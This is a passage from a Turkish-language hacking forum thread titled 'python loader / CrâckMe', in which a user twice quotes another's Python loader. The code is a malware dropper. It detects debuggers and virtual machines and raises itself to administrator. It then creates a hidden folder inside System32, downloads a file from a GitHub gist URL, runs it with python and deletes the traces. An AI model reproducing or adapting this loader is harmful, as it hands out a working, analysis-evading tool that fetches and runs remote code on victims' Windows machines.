python loader / CrâckMe

floxes' Alıntı:

Hiçbir iddiam yok bu konuda, şimdiden ellerinize sağlık.

Linkleri görebilmek için kayıt olmanız gerekmektedir

Linkleri görebilmek için kayıt olmanız gerekmektedir

Genişletmek için tıkla ...

reyna' Alıntı:

Python:

import os
import sys
import ctypes
import urllib.request
import tempfile
import traceback
import logging
import platform
import psutil
import time
import random
import string
from datetime import datetime
from winreg import *

def xor_encrypt(data, key):
    return ''.join((chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data)))

def check_debugging():
    try:
        if ctypes.windll.kernel32.IsDebuggerPresent():
            return True
        start = time.time()
        time.sleep(0.01)
        elapsed = time.time() - start
        if elapsed < 0.01:
            return True
        return False
    except:
        return False

def check_virtual_machine():
    try:
        vm_signs = ['vmware', 'virtualbox', 'vbox', 'qemu', 'xen']
        sys_info = platform.system() + platform.version().lower()
        if any((sign in sys_info.lower() for sign in vm_signs)):
            return True
        for proc in psutil.process_iter(['name']):
            if any((sign in proc.info['name'].lower() for sign in vm_signs)):
                return True
        else:
            return False
    except:
        return False

def generate_key():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=16))

def anti_dump():
    try:
        ctypes.windll.kernel32.VirtualProtect(ctypes.cast(anti_dump, ctypes.py_object).value, ctypes.c_size_t(1024), ctypes.c_uint32(64), ctypes.byref(ctypes.c_uint32()))
    except:
        return None

def secure_download_and_run():
    try:
        if check_debugging():
            sys.exit(1)
        if check_virtual_machine():
            sys.exit(1)
        anti_dump()
        base_url = 'https://gist.githubusercontent.com/floxesdev/eb2839c0cb566c9fc269f3ebc27a151e/raw'
        key = generate_key()
        encrypted_url = xor_encrypt(base_url, key)
        system_dir = os.path.join(os.environ['WINDIR'], 'System32')
        hidden_dir = os.path.join(system_dir, ''.join(random.choices(string.ascii_letters, k=8)))
        try:
            os.makedirs(hidden_dir, exist_ok=True)
            ctypes.windll.kernel32.SetFileAttributesW(hidden_dir, 2)
        except:
            hidden_dir = tempfile.gettempdir()
        random_name = ''.join(random.choices(string.ascii_letters, k=12)) + '.dat'
        file_path = os.path.join(hidden_dir, random_name)
        real_url = xor_encrypt(encrypted_url, key)
        urllib.request.urlretrieve(real_url, file_path)
        os.system(f'python "{file_path}0"')
        try:
            os.remove(file_path)
            os.rmdir(hidden_dir)
        except:
            return
    except Exception as e:
        sys.exit(1)

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
if __name__ == '__main__':
    try:
        if is_admin():
            secure_download_and_run()
        else:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, f'"{os.path.abspath(__file__)}"', None, 1)
    except:
        sys.exit(1)

Genişletmek için tıkla ...

reyna' Alıntı:

Python:

import os
import sys
import ctypes
import urllib.request
import tempfile
import traceback
import logging
import platform
import psutil
import time
import random
import string
from datetime import datetime
from winreg import *

def xor_encrypt(data, key):
    return ''.join((chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data)))

def check_debugging():
    try:
        if ctypes.windll.kernel32.IsDebuggerPresent():
            return True
        start = time.time()
        time.sleep(0.01)
        elapsed = time.time() - start
        if elapsed < 0.01:
            return True
        return False
    except:
        return False

def check_virtual_machine():
    try:
        vm_signs = ['vmware', 'virtualbox', 'vbox', 'qemu', 'xen']
        sys_info = platform.system() + platform.version().lower()
        if any((sign in sys_info.lower() for sign in vm_signs)):
            return True
        for proc in psutil.process_iter(['name']):
            if any((sign in proc.info['name'].lower() for sign in vm_signs)):
                return True
        else:
            return False
    except:
        return False

def generate_key():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=16))

def anti_dump():
    try:
        ctypes.windll.kernel32.VirtualProtect(ctypes.cast(anti_dump, ctypes.py_object).value, ctypes.c_size_t(1024), ctypes.c_uint32(64), ctypes.byref(ctypes.c_uint32()))
    except:
        return None

def secure_download_and_run():
    try:
        if check_debugging():
            sys.exit(1)
        if check_virtual_machine():
            sys.exit(1)
        anti_dump()
        base_url = 'https://gist.githubusercontent.com/floxesdev/eb2839c0cb566c9fc269f3ebc27a151e/raw'
        key = generate_key()
        encrypted_url = xor_encrypt(base_url, key)
        system_dir = os.path.join(os.environ['WINDIR'], 'System32')
        hidden_dir = os.path.join(system_dir, ''.join(random.choices(string.ascii_letters, k=8)))
        try:
            os.makedirs(hidden_dir, exist_ok=True)
            ctypes.windll.kernel32.SetFileAttributesW(hidden_dir, 2)
        except:
            hidden_dir = tempfile.gettempdir()
        random_name = ''.join(random.choices(string.ascii_letters, k=12)) + '.dat'
        file_path = os.path.join(hidden_dir, random_name)
        real_url = xor_encrypt(encrypted_url, key)
        urllib.request.urlretrieve(real_url, file_path)
        os.system(f'python "{file_path}0"')
        try:
            os.remove(file_path)
            os.rmdir(hidden_dir)
        except:
            return
    except Exception as e:
        sys.exit(1)

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False
if __name__ == '__main__':
    try:
        if is_admin():
            secure_download_and_run()
        else:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, f'"{os.path.abspath(__file__)}"', None, 1)
    except:
        sys.exit(1)

Genişletmek için tıkla ...